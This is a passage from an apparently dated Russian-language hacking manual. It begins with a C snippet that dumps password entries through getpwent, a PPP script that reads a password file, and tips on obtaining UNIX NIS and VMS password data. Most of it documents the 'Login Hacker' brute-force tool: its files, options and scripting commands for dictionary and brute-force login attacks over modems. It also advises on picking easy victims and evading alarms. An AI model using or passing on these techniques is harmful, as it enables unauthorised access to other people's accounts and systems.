заменяется специальным  символом,  а метод расшифровки  хранится в отдельном
каталоге, который доступен только пользователю root. Атака на многие скрытые
пароли  осуществляется  через  специально   написанную   программу,  которая
использует последовательные запросы к getpwent, например:
     #include <pwd.h>
     main()
     {
     struct passwd *p;
     while(p=getpwent())
     printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
     p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
     }
     <b>Маленький исходник для скрытого файла паролей</b>
     #include <pwd.h>
     main ()
     {
     struct passwd *p;
     while(p=getpwent ())
     printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
     p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
     }
     <b>Конфигурация Linux и подключение к удаленному узлу</b>
     Скрипт удаленного  подключения  лежит в  /usr/local/sbin/initppp. Далее
идут конструкции:
     #!/bin/sh
     PPPD = "/usr/sbin/pppd"
     $(PPPD) connect '/usr/sbin/chat -v "" ATZH0Q0M1 OK ATDT3560100 \
     CONNECT "" ogin: Suserid word: "`cat /etc/ppp/password`"' \
     /dev/modem 115200
     Файл  в  /usr/sbin/pppd  является  стандартным,  таким как  /dev/modem.
Например, /dev/cua1. Установка  опций для модема  проходит через команду  ln
-sf /dev/cua1 (для первого коммуникационного порта).
     Файл  паролей  лежит в  /etc/ppp/password.  Через  скрипт  хакер  может
изменить пароль так: `cat/etc/ppp/password`.
     <b>Network Information System или древние желтые страницы UNIX</b>
     UNIX NIS позволяет нескольким  компьютерам сети иметь различный уровень
доступа  к  конфигурационным файлами. Если атакуемая  версия UNIX использует
NIS, то хакер получит  файл  паролей /etc/passwd  с  очень короткой строкой,
типа вот этой:
     +::0:0:::
     Чтобы увидеть  действительный файл  паролей  хакер  использует  команду
ypcat passwd.
     <b>Таинственный знак после запятой</b>
     Этот знак  соответствует времени  хранения пароля.  Это  означает,  что
пароль в определенный  момент времени может быть заменен пользователем после
системного  администратора.  Пароль   перед  заменой  может  еще   храниться
некоторое время.  Типичная  запись /etc/passwd с  данными о времени хранения
пароля:
     bob:5fg63fhD3d,M.z8:9406:12:BobLeontyef:/home/fsg/will:/bin/bash
     Обратите внимание на запятую  в  области дешифровки пароля. Знак  после
запятой используется только механизмом хранения пароля.
     Таким образом, символы, соответствующие данным  времени хранения пароля
для вышеприведенного примера, будут такими:
     M.z8
     Эти четыре символа интерпретируются следующим образом:
     Максимальное  число недель, в  течение  которых пароль  не  может  быть
изменен.
     Минимальное   число   недель,   в   течение   которых   пароль   должен
использоваться перед заменой.
     Отметим  три важные вещи. Если первые и вторые символы  установлены как
"..", то пользователь будет вынужден изменить свой пароль в следующий раз. В
этом случае программа passwd удалит данные о хранении пароля.
     Если  третий и четвертый  символы установлены как "..", то пользователь
будет  вынужден изменить свой  пароль  в  следующий  раз.  Данные  о времени
хранения пароля будут соответствовать первым и вторым символам.
     Если  же  первый  символ  (MAX)  меньше  чем  второй  символ  (MIN), то
пользователю  вообще  не  позволяют изменить пароль (только  root может  его
изменить).
     Заметим,  что хакер  не может  командой su  изменить данные  о  времени
хранения пароля.
     <b>Доступ к файлу паролей системы VMS</b>
     В VMS файл паролей есть
     SYS$SYSTEM: SYSUAF.DAT
     Однако, в отличие от пользователей UNIX, большинство пользователей  VMS
не  имеет доступа даже к чтению этого файла. Хакер может взломать пароль VMS
только  через специальную программу, которая  использует функции  SYS$GETUAF
для сравнения результирующих  расшифрованных слов с расшифрованными словами,
полученными из данных SYSUAF.DAT. Две такие программы следующие:
     CHECK_PASSWORD и GUESS_PASSWORD.
     <b>Взлом по методу Бивиса и Батт-Хэдда</b>
     Это один из приемов  угадывания пароля. Хакер входит в сеть. Перед  ним
поля данных для  ввода логина и пароля. Что он делает? Оставляет  эту сеть в
покое. Он входит в эту же сеть по другому пути. Через  ту сеть,  к которой у
него  есть доступ. Он телнетится  с  определенного  адреса  IP  и  запускает
программу-взломщик,  которая  подбирает  (запускает на удаленном  компьютере
UNIX-программу login) пароль и логин, а  затем еще  и сама регистрируется за
него.
     <b>Взлом систем через древний Login Hacker</b>
     Эта большая и весьма гибкая программа предназначена  для взлома  многих
систем. Чтобы проникнуть в систему, вы можете использовать три прилагаемых к
программе файла-словаря, а также Brute Force Generator. Эта программа  также
может использоваться системными  администраторами для проверки их  систем на
вшивость.  Авторы  этой программы предостерегают вас: не  стоит пользоваться
этим  софтом в  преступных  целях, отвечать  перед  законом будете только вы
сами.  Но,  с  другой стороны, если вы напишите хороший  скрипт  (сценарий),
автор  этой  программы  надеется,  что  вы  пришлете  исходник  по   адресу:
vh@campus.de.
     Конечно, большинство систем находится под строгим наблюдением и  многие
терпят неудачу при попытках регистрации (срабатывает система защиты, тревога
и новичок получает путевку в не столь отдаленные места). Многие серверы бьют
тревогу  уже  после  десяти  неудачных  попыток  зарегистрироваться  и,  как
правило,  системный администратор  знает что делать дальше. Впрочем,  в Unix
имеются  некоторые  дыры,  позволяющие подбирать  пароль  и имя пользователя
практически без срабатывания системы защиты сервера, то  есть в конце-концов
вы входите в ситему. Для этого вам нужен отработанный в интерактивном режиме
скрипт и знание некоторых команд Unix.
     Эту   программу   вы   можете   эффективно   использовать    в   старых
телекоммуникационных системах, в  которых число  попыток  зарегистрироваться
неограничено.
     Для чего  нужен взлом?  Конечно,  для  того, чтобы  войти  в систему. С
другой стороны, автор этой программы запрещает пользоваться ей для получения
контроля  над всей  системой. Эта программа  предназначена прежде  всего для
тех, кто хочет получить  только  один  экаунт.  Если его зарубят,  вы можете
снова воспользоваться этой программой. Только для этого. Никакого криминала.
     Многие пароли подбираются легко. Это относится к паролям так называемых
средних  пользователей.  Подбирать пароль, соответствующий экаунту ситемного
администратора весьма-весьма чревато. Например, в Unix  при этом срабатывает
специальная система  защиты и  возникает  сообщение об  ошибке  (auth.crit):
CRITICAL. В системах NetWare  подобная  система начинает функционировать уже
после неудачных регистраций.  Помните, что практически все системы позволяют
регистрироваться в качестве системного администратора только с  той консоли,
которая  принадлежит  серверу   с  главной  системой.  Поэтому  никогда   не
взламывайте роотуров, системных администраторов, крутых  менеджеров и других
сетеподобных личностей.
     После того, как вы войдете в систему, последняя станет весьма уязвимой.
Попробуйте  получить текстовой файл с описанием модернизации  сервера, затем
узнайте, какие имеются  дырки. Если возникнут проблемы, попытайтесь получить
помощь у знакомого вам хакера.
     Каких пользователей можно легко взламывать? Как правило, пароли  женщин
подбираются легче (они обычно используют  гостевую систему регистрации), чем
пароли мужчин. Попробуйте узнать  настоящее имя  пользователя,  а уже  затем
подобрать  его   логин,  затем  любые  женские   имена,  слова  из   жаргона
футболистов, цифры 123, слова типа "secret" и т.д. В системах Unix для того,
чтобы узнать  логин пользователя, можно воспользоваться командой finger  или
через  команду  telnet  воткнуться  в  smtp-порт  и  получить  полные  имена
пользователей.
     Обычно,  когда  осуществлена  связь   с  запаролированной  системой  по
телефонной  линии,  выводится  приглашение  "PASSWORD:".  или  вообще  экран
оказывается пустым.
     Важно:  Достаточно  легко  взломать  так  называемые  Silent  Carriers.
Делается все посредством скрипта программы Login Hacker.
     <b>Файлы программы
     LOGINH.EXE</b>
     Программа Login Hacker.
     <B>LH-COMP.EXE</B>
     Компилятор для скриптов.
     <B>X00.EXE</B>
     Драйвер  Fossil.  Используйте  этот  драйвер  при выполнении программы.
Загружается драйвер так: X00.EXE E 2
     <B>FILE_ID.DIZ</B>
     Краткая информация о программе.
     <B>HISTORY.DOC</B>
     Библиография программы.
     <B>LOGINH.DOC</B>
     Документация.
     <B>SCRIPT.DOC</B>
     Документация по скриптам.
     <B>RESULT.DOC</B>
     Результат в виде кодов, полученный после выполнения Login Hacker.
     <B>UPDATE.DOC</B>
     Информация о том, как можно обновить программу.
     <B>VH_BASE.DIC</B>
     Основной словарь.
     <B>LH&SCAVE.TXT</B>
     Пример скрипта, который используются вместе с Scavenger Dialer.
     <B>THC&SCAV.SCR SCAVENGER</B>
     Пример скрипта, который нужен скрипту LH&SCAVE.TXT.
     <B>REBREAK.SCR</B>
     Пример Scavenger-скрипта. Он нужен для скрипта LH&SCAVE.TXT.
     <B>HANGUP.SCR</B>
     Пример скрипта, который нужен скрипту LH&SCAVE.TXT.
     <B>PICKUP.SCR</B>
     Пример скрипта, который нужен скрипту LH&SCAVE.TXT.
     <B>THC-LH_1.TXT</B>
     Первый пример, показывающий применение языка скриптов.
     <B>THC-LH_2.TXT</B>
     Второй пример, показывающий применение языка скриптов.
     <B>DEC-SERV.TXT</B>
     Хорошо опробованный скрипт (автор: Tron).
     <B>PASSCODE.TXT</B>
     Другой скрипт (автор: Mind Maniac).
     <B>THC.NFO</B>
     Очень важно! Все, что касается известного сообщества.
     <B>LORE.COM</B>
     Исполняемый скрипт для LORE BBS (автор: Plasmoid).
     <B>LOGINH.CFG</B>
     Кофигурационный файл.
     <B>LOGINH.LOG</B>
     Созданный  конфигурационный   файл.   Если  конфигурационный  файл  уже
существует,  то все данные будут добавлены в его конец. Этот файл может быть
определен  в  соответствующем  скрипте или через  саму программу  в  Hacking
Setup.
     <B>LOGINH.SCR</B>
     Скрипт, созданный компилятором LH-COMP.EXE. Только такие  скрипты могут
быть загружены в Login Hacker.
     <B>LOGINH.HCK</B>
     Если произошло вынужденное прерывание программы, то создается этот файл
с  подобным  расширением.  Этот   файл   данных  указывает   на   установки,
соответствующие первоначальным  данным словаря  Brute  Force Generator. Если
снова произошел сбой, то программа выдаст сообщение с запросом  о том, нужно
ли  использовать данные из  этого файла.  Это  дает вам возможность прервать
сессию  и использовать  предыдущие данные  в новой атаке.  Помните, что этот
файл не является скриптом. Это файл регистрации. Если вы  записываете в этот
файл  данные, полученные от другой атаки, программа все  равно попросит  вас
использовать только данные предыдущей атаки.
     <b>Команды и параметры</b>
     Первая  и  самая  главная  команда  программы  Login  Hacker  со  всеми
возможными параметрами выглядит так:
     LOGINH.EXE [scriptfile]/[anything] [-Auto] [-Shh:mm] [Ehh:mm]
     <b>[scriptfile]</b>
     Автоматически  загружает скомпилированный  скрипт scriptfile  и ожидает
ввода ключа для загрузки.
     <b>[anything]</b>
     Если этот параметр  не есть существующий файл, то программа запускается
без демонстрационных сообщений.
     <b>[-Auto]</b>
     Этот параметр загружает скрипт без дополнительного ключа.
     <b>[-Shh:mm]</b>
     Начальное время, то есть пошла атака.
     <b>[-Ehh:mm]</b>
     Время, в течение которого происходило сканирование.
     <b>[-T]</b>
     Запуск  скрипта  в  режиме  проверки.  То есть скрипт не загружается  в
модем.
     <b>[-D]</b>
     Активизация режима  отладки. В  этом режиме  вы можете  выбрать,  какую
команду нужно выполнять дальше.
     Вторая,  не  менее  важная  команда  программы  Login Hacker  со  всеми
возможными параметрами выглядит так:
     LH-COMP.EXE [scriptfile]
     <b>[scriptfile]</b>
     Файл, который будет подвергнут процедуре компиляции.
     <b>Использование Login Hacker</b>
     Имеется пять опций, непосредственно влияющих на запуск программы:
     <B>L</B>
     Загрузка откомпилированного скрипта и начало атаки.
     <B>S</B>
     Настройка модема и других основных параметров программы.
     <B>T</B>
     Терминальный режим.
     <B>I</B>
     Некоторая информация.
     <B>Q</B>
     Выход.
     <b>Экран в интерактивном режиме</b>
     Речь  идет о том моменте, когда произошла загрузка и запустился скрипт.
Все, что  идет  из модема, выглядит на вашем  экране символами белого цвета.
Все,  что  записывается  в  файл   регистрации,  выглядит  на  вашем  экране
темно-синими  символами. Каждое  сообщение системы,  в  том  числе  CONNECT,
ALARM,  HANGUP и  ERROR должно отображаться синим цветом.  Все вышесказанное
справедливо лишь в том случае, если вы активизировали  опцию Print Logoutput
to Screen too.
     <b>Горячие клавиши в режиме On-line
     ESC</b>
     Пауза или выход из меню.
     <B>F1</B>
     Посказка.
     <B>ALT-B</B>
     Так называемая базовая клавиша. Позволяет спрятать экран.
     <B>ALT-C</B>
     Очистка экрана.
     <B>ALT-D</B>
     Включить или выключить режим отладки.
     <B>ALT-H</B>
     Вызвать меню HangUp.
     <B>ALT-I</B>
     Отобразить на экран статистику и другую дополнительную информацию.
     <B>ALT-J</B>
     Прыгнуть в DOS (не пользуйтесь этой командой в бета-версиях).
     <B>ALT-L</B>
     Особое меню регистрации.
     <B>ALT-T</B>
     Загрузить  терминальный режим.  В этом режиме  экран  зависает, система
находится   под   вашим   контролем.  Вы  можете  произвести   идентификацию
посредством любой  из  вышеописанных клавиш  (кроме  ESC).  Чтобы  выйти  из
терминального режима, нажмите ALT-T или ALT-X.
     <b>Описание языка скриптов</b>
     Скрипты -- это изюминка Login Hacker. Поэтому, если вы научитесь писать
хорошие скрипты, то сможете взломать практически любую систему.  Конечно это
не относится к новичкам  или тем хакерам, которые никогда не программировали
даже на Бэйсике.
     Скрипт  должен  пройти  через  компилятор,  который  проверяет  его  на
вшивость.  Поэтому вы можете  быть уверены на 99%, что в  процессе атаки  не
произойдет сбоя по вине плохого скрипта.
     Итак, поехали.
     Все,  что  начинается с  точки  с  запятой  --  комментарии.  Все,  что
начинается с двоеточия -- переход на следующую команду.
     Четыре строки, начинающиеся с символа # определяют операторы, с которых
начинается специальная часть скрипта.
     Оператор #DEFINE определяет переменную.
     Оператор #NOCARRIER осуществляет автоматический  возврат  в программу в
случае аварийного прерывания сессии, то есть без команды hangup.
     Оператор #START активизирует загрузку скрипта.
     Оператор #END заканчивает выполнение скрипта.
     Все   переменные   являются  необязательными.   Исключение   составляют
переменные  logfile  и   phone_nr.  Вы   не  можете  определять   какие-либо
переменные, за исключением тех, которые описаны ниже.
     <B>LOGFILE=FILENAME</B>
     Определить  файл  регистрации и место  на  диске  для этого  файла. Это
важная переменная используется при написании любого скрипта.
     Например:
     LOGFILE=C:\OUTPUT\NY-SYS5.LOG
     PHONE_NR=NUMBER
     Эта  переменная  используется  вместе  с командой DIAL. Ее  тело  может
состоять как из цифр, так и из  букв.  Это вторая переменная, которую всегда
используют при написании скриптов.
     Например:
     PHONE_NR=1-800-WHO-CARES
     INIT_MODEM=STRING
     Если ваш  модем должен работать  в режиме Pulse Dialing,  то  поместите
перед   телефонным  номером  аргумент  P.  Если  же   ваш   модем  не  может
инициализировать   строковые   данные,   поместите   перед   соответствующим
телефонным номером команду AT (если эта команда отстствует в Hacker Setup).
     Например:
     INIT_MODEM=Z
     (здесь также может стоять аргумент AT Z)
     <B>INIT_DATA=STRING</B>
     Инициализация  каналов передачи  данных,  в том числе стоповых битов  и
битов четности. Переменная  используется в  том случае, если соответствующие
параметры  отсутствуют  в Hacker  Setup.  В  общем случае  аргументами  этой
переменной  являются  наборы  символов  8N1 и  7E1, то есть  аргумент всегда
должен  состоять из  трех символов.  Первый  символ --  это цифры 7  или  8,
являющиеся битами данных. Второй символ  может быть записан как  P (контроль
по нечетности), E  (контроль по  четности)  или  N  (не  контролировать биты
данных). Третий символ соответствует ситуации, когда на первый стартовый бит
налагается первый стоповый бит:
     7/8+E/P/N+1/2.
     <B>DIAL_TRIES=NUMBER</B>
     Эта переменная определяет количество  попыток набора номера в диапазоне
от  0 до 65535. Ноль  соответствует  бесконечному набору номера.  Если номер
набран, загружается HANGUP и остальная часть скрипта.
     Например:
     DIAL_TRIES=3
     Standard : 0
     Важно: Если эта переменная отсутствует в скрипте, то будут использованы
установки, соответствующие файлу LOGINH.CFG.
     <B>LOGIN_TRIES=NUMBER</B>
     Эта  переменная  определяет   количество  попыток  входа  в  систему  в
диапазоне  от  0 до  2300000000. Ноль  соответствует неограниченной  попытке
зарегестрироваться.  Если  в  файле словаря будет  достигнут так  называемый
конец кадра  (EOF),  то  скрипт  автоматически повесит  трубку  и  прекратит
сессию.   Время,   в   течение   которого   будет    осуществляться   подбор
регистрационных  данных зависит  от команд  прицепки SEND_NEXT_DIC, NEXT_DIC
или им аналогичных для словаря Brute Force Generator.
     Например:
     LOGIN_TRIES=0
     Standard: 0
     Важно:  Если эта  переменная  отсутствует  в скрипте,  то в атаке будут
использованы установки, соответствующие файлу LOGINH.CFG.
     <B>DIC(NUMBER)=FILENAME</B>
     Определить словарь, который будет использован соответствующим скриптом.
Аргумент DIC указывает на существующие файлы словарей. Вы можете прицепить к
скрипту  от   одного  до  трех  словарей.  Используйте  для  этого   команды
Send_Next_DIC (1), Send_DIC (1) и Next_DIC (1).
     Например:
     DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC
     <B>FROM_DIC(NUMBER)=STRING</B>
     Определить  слово,  начиная  с которого  можно  использовать словарь  в
скрипте.
     Например: FROM_DIC(1)=Tracy
     <B>BRUTE(NUMBER)=STRING,NUMBER,NUMBER,NUMBER</B>
     Определить словарь Brute Force Generator для  использования в  скрипте.
Brute Force  Generator весьма гибок.  Четыре  параметра словаря  Brute Force
Generator  разделены запятой. Ниже описывается приемлемая спецификация  этих
параметров.
     <b>1</b>
     a=буквы нижнего регистра.
     A=буквы верхнего регистра.
     1=цифры.
     $=спецсимволы.
     ^=так называемые контролируемые символы.
     Любые синонимы ASCII.
     <b>2</b>
     Этот параметр сообщает  скрипту, какое  количество различных  символов,
соответствующих параметру 1 необходимо этому скрипту.
     Каждое  сгенерированное  слово,  соответствующее  параметру   1  всегда
имеется в  таком  же  слове,  соответствующим параметру 2.  Символ  верхнего
регистра и один номер допустимы. Величина, соответствующая нулю неприемлема.
     <b>3</b>
     Сообщает  скрипту  возможную  минимальную  длину  для  символов пароля,
подобранного при использовании словаря Brute Force Generator.
     <b>4</b>
     Возможная  максимальная  длина  для  символов  пароля, подобранного при
использовании словаря Brute Force Generator.
     Важно: Минимальная длина символов равна  1, максимальная  соответствует
12.
     Помните, что  вы можете  использовать  в атаке  до трех  словарей Brute
Force  Generator.  Используйте  для  этого  великолепные   команды  привязки
Next_Brute(1), Send_Next_Brute(1) и Send_Brute(1).
     Например:
     BRUTE(1)=a,1,1,6
     В  этом примере используется первый параметр Brute Force  Generator  со
следующими данными: проверять только символы нижнего регистра; предположить,
что  при  подборе пароля в словаре присутствует хотя бы  один действительный
символ; минимальная длина регистрационного слова равна единице, максимальная
-- шести.
     <b>FROM_BRUTE(number)=STRING</b>
     Начать инициализацию со словарем Brute Force Generator. При этом  важно
следующее:  если   инициализация  началась   с   четвертой   буквы,   а   вы
просматриваете  диапазон от 1  до 8  буквы,  то  диапазон  от  1 до  3 будет
игнорироваться,  то  есть сначала идет подбор aaaa, затем aaab, затем aaac и
т.д.
     Например:
     FROM_BRUTE(1)=2527
     <b>Секция #NOCARRIER</b>
     Это  будет  выполняться  всякий  раз, когда  вы  не используете команду
HANGUP. Если в скрипте отсутствуют операторы GOTO  (*START) или GOTO (1), то
дальше  он выполняться  не будет. Это означает, что  вы снова должны набрать
модемный номер доступа к системе. Поэтому проверьте установки в DIAL_TRIES.
     <b>Секция #START</b>
     В этой важной секции описываются операторы, которые в  дальнейшем будут
ломать систему.
     <B>LOG(STRING)</B>
     Команда LOG() записывает в  файл регистрации некоторую информацию.  Это
может быть любой текст, переменные, перед которыми всегда должен стоять знак
$ (знак доллара),  а  также пробелы  между  словами.  В конец строки  каждая
команда LOG() автоматически печатает возврат каретки.
     Примеры:
     LOG(Beginning on $DATE * $TIME)
     Будет выведено следующее:
     "Beginning on 24-12-96 * 23:00"
     LOG_(STRING)
     Этот пример аналогичен вышеприведенному, за исключением того, что после
текста отсутствует CRLF (End-Of-Line).
     <b>:NUMBER</b>
     Каждая линия, начинающаяся с : (двоеточия) маркируется оператором GOTO.
Вы можете использовать 240 маркировок в диапазоне от 1 до 240. Другие номера
неприемлемы.  Переход  к нужному  маркеру осуществляется командами  передачи
управления GOTO, GOSUB, CHECK4OUTPUT и CHECK4CARRIER.
     Например: :1
     В  этом примере на соответствующую строку выполняется переход к точке с
номером 1.
     <B>GOTO(NUMBER)</B>
     Передать управление на маркировку перехода. Вы можете также осуществить
переход командами #START, #NOCARRIER и #END.
     Например: GOTO(#END) (выполнение скрипта завершено).
     <B>GOSUB(NUMBER)</B>
     С  командой  подстановки  GOSUB вы  осуществляете  переход  к следующей
маркировке. Команда  GOSUB, как правило  исполняется уже  после перехода  на
следующий  маркер,  то  есть в  тот момент, когда  команды  GOSUB  и  RETURN
столкнутся между собой. Обратите внимание, что вот такая команда невозможна:
GOSUB(#END).
     Например: GOSUB(4)
     <B>RETURN</B>
     Это  так  называемая  команда  выхода из  подпрограммы.  Используя  эту
команду,  вы можете  возвратиться  к  местоположению  последней  выполненной
команды  GOSUB  и продолжить  обычное  выполнение скрипта.  Если  в буферном
регистре  команда  RETURN  сталкивается  с  несуществующим начальным адресом
GOSUB,  то  она  будет  игнорироваться. В  одном буферном регистре вы можете
иметь до 255 подстановок GOSUB.
     Например: RETURN
     <B>CHECK4CARRIER(NUMBER)</B>
     Проверка модема  на соединение с  линией, то есть  проверка на  несущую
частототу.  Команда  будет  выполняться  в  случае   отсутствия  перехода  к
указанной маркировке  (переход  соответствует команде  GOTO).  Если  переход
обнаружен, то устанавливается  внутреннее соединение с переменной  TRUE  для
проверки  на NO_CARRIERS. Вы можете также осуществлять  процедуры перехода к
*NOCARRIER, *START и *END. Также возможно осуществить проверку модема только
на  ON  или  OFF. Если  команда  CHECK4CARRIER(ON) выполнена  с  переходом к
маркеру,  отмечающему  обнаружение  линии,  и,  если   представлен  NOT,  то
управление  передается  на  *NoCarrier. Эта  команда  полезна только  в  том
случае, когда вы оказываетесь на CHECK4CARRIER(OFF) и не хотите использовать
команду  DIAL,  чтобы  соединиться  с удаленной системой (позвольте  набрать
номер SCAVENGER DIALER).
     Примеры:
     CHECK4CARRIER(#NOCARRIER)
     CHECK4CARRIER(5)
     CHECK4CARRIER(ON)
     CHECK4CARRIER(OFF)
     CHECK4OUTPUT(NUMBER)
     Это будет выполнено подобно нижеописанной функции  ALARM: Если выходной
сигнал  (OUTPUT)  модема   обнаружен,   то  переходы  будут   осуществляться
непосредственно к указанной маркировке. Вы можете также  передать управление
к  *NOCARRIER,  *START и  *END. Также возможно отключить проверку на OFF, то
есть заблокировать указанную проверку выходного сигнала.
     Например:
     CHECK4CARRIER(#NOCARRIER)
     CHECK4CARRIER(5)
     CHECK4CARRIER(OFF)
     <B>DIAL</B>
     Набор  номера PHONE_NR.  Если  с  системой нет соединения, то сначала в
модем будет послана команда: "Повесить трубку!".
     Например: DIAL
     <B>HANGUP</B>
     Поднять и опустить трубку.
     Например: HANGUP
     <B>WAIT4STRING(NUMBER,STRING,NUMBER,
     COMMAND,STRING)</B>
     В представленном здесь языке скриптов это  самая важная  команда. После
ее выполнения выходной  сигнал модема будет находиться в состоянии ожидания.
В этот  момент должна начаться загрузка  специального  слова. Если  стыковка
осуществлена, то скрипт продолжается, если -- нет, то после таймаута в модем
будет  отправлена заданная последовательность,  затем  --  вновь  таймаут и,
наконец, идет выполнение команды.
     Важно:   Сначала  команда   WAIT4STRING  проверяет   текущую  строку  с
представленным словом. Синтаксис: WAIT4STRING(a,b,c,d,e).
     <b>a</b>
     Определить  таймаут  в диапазоне от 0 до 255 секунд. Ноль соответствует
неограниченному ожиданию,  то  есть ждать до  тех пор  пока  не наступит так
называемый TOTAL TIMEOUT (скрипт переходит в секцию #NOCARRIER в том случае,
если данные не  поступают из  модема в  течение пяти  минут). Если ничего не
получено, то  последовательность в потоке данных  распознается снова,  или в
какой-то момент несущая частота объявляется потерянной.
     <b>b</b>
     Последовательность   данных,  которая   будет  послана  в  модем  после
таймаута.
     <b>c</b>
     Частота отказов или количество общего времени, в течение которого может
выполняться  фатальная команда.  Диапазон: от 0 до 255  (0=никогда, 1=первый
раз).
     <b>d</b>
     Выполнение специальной фатальной команды. Это могут быть любые команды,
исключая: ALARM, WAIT4STRING и IF.
     <b>e</b>
     Последовательность  данных   для   ожидания.  Данные  чувствительны   к
регистру.
     Например: WAIT4STRING(15,^M,2,GOTO(1),ogin:)
     В этом  примере происходит ожидание последовательности ogin: в  течение
15 секунд. Если стыковка не получилась, а каретка возвращается в модем (^M),
то  команда снова  ждет  15  секунд,  пока  вновь  не  наладится  стыковка с
последовательностью данных ogin:.
     Как только истекут следующие 15  секунд, вызывается фатальная  команда,
что означает переход к GOTO с меткой под номером 1.
     <B>LOG_SESSION_ON</B>
     Начиная с этого пункта, все данные поступающие из модема записываются в
файл регистрации.
     Например: LOG_SESSION_ON
     <B>LOG_SESSION_OFF</B>
     Если содержимое экрана  записано в файл регистрации, то к  этому пункту
больше не будет обращений.
     Например: LOG_SESSION_OFF
     <B>SEND(STRING)</B>
     Команда  SEND  передает последовательность данных в  модем.  Через  эту
команду вы  можете пересылать  в  модем  переменные  со знаком  $.  В  конец
последовательности  передается  возврат  каретки.   Если  последовательность
данных не задана, то сразу осуществляется переход на возврат каретки.
     Например:
     SEND(echo Hacked you system Time: $TIME - Date:
     $DATE > HACKED.TXT)
     В данном примере команда SEND посылает в модем следующую строку:
     echo HAcked your system Time: 23:00 - Date: 24-12-95 > HACKED.TXT
     <B>SEND_()</B>
     Эта команда аналогична вышеописанной, но она не посылает в модем символ
возврата каретки ^M. Ее можно использовать, если вам нужно загрузить в модем
только один символ или командный режим +++.
     Примеры:
     SEND_(n)
     SEND_(+++)
     <B>SEND_NEXT_DIC(NUMBER)</B>
     Например: SEND_NEXT_DIC(1)
     <B>SEND_DIC(NUMBER)</B>
     Переслать текущий словарь в модем.
     Например: SEND_DIC(1)
     <B>NEXT_DIC(NUMBER)</B>
     Переместиться на слово, соответствующее аргументу NUMBER.
     Например: NEXT_DIC(1)
     <B>SEND_NEXT_BRUTE(NUMBER)</B>
     Используя Brute  Force  Generator,  сгенерировать  следующую допустимую
последовательность и переслать ее в модем.
     Например: SEND_NEXT_BRUTE(1)
     <B>SEND_BRUTE(NUMBER)</B>
     Переслать  в  модем  текущую  последовательность  допустимых  данных из
словаря Brute Force Generator.
     Например: SEND_BRUTE(1)
     <B>NEXT_BRUTE(NUMBER)</B>
     Сгенерировать следующую допустимую последовательность данных из словаря
Brute Force Generator.
     Например: NEXT_BRUTE(1)
     <B>IF VARIABLE OPERATOR STRING THEN COMMAND</B>
     Команда IF первой версии этой программы не очень гибкая. Синтаксис этой
команды следующий:
     IF <variable><operator><string> THEN <command>
     <variable>
     <operator>
     Означает  равносильность  при   аргументе  =,  больше  или  меньше  при
аргументах   <  или  >   соответственно   и   переменную  содержащую   любую
последовательность слов  при аргументе  <b>~</b>.  Переменные  и последовательности
должны быть дискретными переменными.
     <b><command></b>
     Эта команда выполнится в том случае, если будет соблюдено условие TRUE.
Чтобы ее использовать, просмотрите список команд для оператора WAIT4STRING.
     Например:
     IF STRING~ogin THEN GOTO(3)
     То  есть,   если  текущая  строка   (STRING)  содержит  дискретную  (~)
последовательность данных ogin, то идти (GOTO) к маркеру с номером 3.
     <B>EXECUTE(STRING)</B>
     Выполнить DOS-программу, а  затем запустить скрипт.  Вы должны включить
переменные  в выполняему строку. Вы также  должны  выполнить соответствующие
внутренние команды MS DOS. Помните, что перед переменной может стоять знак $
с возможными пробелами позади и впереди самого знака.
     Важно: Если вы хотите  запустить программу в то время, когда  по вашему
скрипту осуществлено соединение, то вы должны использовать драйвер fossil. В
противном случае ваш компьютер зависнет. Поэтому запустите X00.EXE E 2 перед
выполнением программы Login Hacker.
     Важно:  Чтобы  ваша   программа  не  была   повреждена,  предварительно
сохраните ее в каталоге отличном от исходного.
     Примеры:
     EXECUTE(C:\SB\VPLAY C:\SB\VOC\HACKED.VOC)
     EXECUTE(COPY $LOGFILE C:\HACKED)
     ALARM(STRING,COMMAND)
     Опасно!  Нажимать  на  спусковой крючок!  Если на удаленном  компьютере
сработала  система  защиты,  то  вы  будете  активны до  тех  пор,  пока  не
выполнится эта команда.
     <B>STRING</B>
     Последовательность,  для  которой  осуществляется  поиск  данных  с  их
последующей передачей в модем.
     <B>COMMAND</B>
     Эта команда будет  выполнена  после  стыковки.  Чтобы ее  использовать,
просмотрите листинг  команд для  WAIT4STRING.  Примените эту команду  в  том
случае, например, если вы взломали BBS, а сисоп вас раскусил и задает глупые
вопросы.   После  этой  команды   вы  автоматически  прервете  соединение  и
остановите выполнение скрипта.
     Например:
     ALARM(chat,GOTO(#END))
     <B>SET VARIABLE=STRING</B>
     Этой командой вы определяете переменную в секции #START или #NOCARRIER.
Если переменная является статической переменной, то вы  должны это отметить.
Вы должны  устанавливать только  следующие  переменные: STRING,  DIAL_TRIED,
LOGIN_TRIED, S_TMP и D_TMP.
     Например:
     SET D_TMP=3
     Определить статическую переменную D_TMP в качестве 3.
     <B>INC(DIGIT_VARIABLE)</B>
     Увеличить число указанной переменной на 1. Эта команда будет  выполнена
лишь в том случае, если переменная после дополнения не находится в указанном
диапазоне.
     Имеют  силу  следующие  команды: DIAL_TRIES,  DIAL_TRIED,  LOGIN_TRIES,
LOGIN_TRIED и D_TMP.
     Например: INC(D_TMP)
     <B>DEC(DIGIT_VARIABLE)</B>
     Уменьшить чило указанной переменной  на  1. Эта команда будет выполнена
лишь в том случае, если переменная после  вычитания не будет  находиться вне
указанного диапазона.
     Имеют  силу  следующие  команды:  DIAL_TRIES,  DIAL_TRIED, LOGIN_TRIES,
LOGIN_TRIED и D_TMP.
     Например:
     DEC(D_TMP)
     <B>WAIT(NUMBER)</B>
     Ожидать до тех пор, пока идут секунды, определенные  аргументом NUMBER.
Аргумент NUMBER соответствует любому числу в диапазоне от 1 до 65535.
     Например: WAIT(10) (десять секунд)
     <B>WAIT_(NUMBER)</B>
     Ожидать  до тех пор, пока идут  миллисекунды,  определенные  аргументом
NUMBER.  Аргумент  NUMBER  соответствует любому  числу в  диапазоне  от 1 до
65535.
     Например: WAIT(500) (полсекунды)
     <B>BEEP</B>
     Создает сигнал, похожий на легкий звук бибикалки!
     <b>Переменные и управляющие символы</b>
     Речь идет о  переменных,  которые могут быть  использованы  в  командах
SEND()  или LOG(). Как уже отмечалось, закачка переменных  в модем  или файл
